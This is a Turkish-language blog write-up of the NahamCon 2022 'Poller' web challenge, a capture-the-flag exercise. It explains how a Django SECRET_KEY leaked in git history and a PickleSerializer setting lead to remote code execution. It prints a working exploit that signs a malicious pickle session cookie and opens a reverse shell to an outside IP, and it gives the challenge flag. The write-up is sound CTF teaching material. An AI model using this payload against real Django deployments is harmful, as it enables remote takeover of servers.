Avatar
Kişisel Blog

Nahamcon 2022 Web Soruları - Poller

CTF Linki: https://ctf.nahamcon.com/challenges

Kategori: Insecure Serializer

TLDR; Zafiyetli serializer modülü içeren Django uygulaması var. PickleSerializer modülü kullanılarak reverse shell elde ediliyor. Bu sayede flag okunabiliyor.

Adimlar

Uygulamaya giriş yapıldığında bizi aşağıdaki login ekranı karşılıyor. Elimizde kullanıcı adı ve parola yok. Sağ taraftaki Sign Up butonundan kayıt oluyoruz.

01

Giriş yaptıktan sonraki ekran ise bu şekilde.

02

Uygulamanın işleyişini anlamaya çalıştım. Kaynak kodunu incelerken bir git reposu buldum.

03

Repoyu incelediğimde Django uygulaması olduğunu anladım. Commit geçmişine baktığımda da SECRET_KEY’i buldum.

04

Elimde bir adet secret key var. Uygulamada debug mode açık değil. Başka işe yarar bir seyler daha bulmam gerekiyor. Settingse baktığımda ise Serializer olarak PickleSerializer’ın kullanıldığını gördüm.

05

Biraz araştırdıktan sonra aşağıdaki exploiti buldum ve düzenledim. [1]

import requests as req
import subprocess
import pickle
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer

SECRET_KEY = "77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!"

class Exploit(object):
  def __reduce__(self):
    return (subprocess.Popen, (
      ("""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("159.89.17.34",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &"""),0,None,None,None,None,None,False,True,))

# pickle.loads(pickle.dumps(Exploit()))

sesssss = signing.dumps(Exploit(), key=SECRET_KEY, salt='django.contrib.sessions.backends.signed_cookies',serializer=PickleSerializer,
compress=True)

resp = req.get('http://challenge.nahamcon.com:30880/', headers={"Cookie":'sessionid=%s'%sesssss})
print(resp.headers)

VPSden de, gelecek olan bağlantıyı dinlemeye başladım.

Boom.

06

FLAG: flag{a6b902e045b669148b5e92f771a68d39}

References

all tags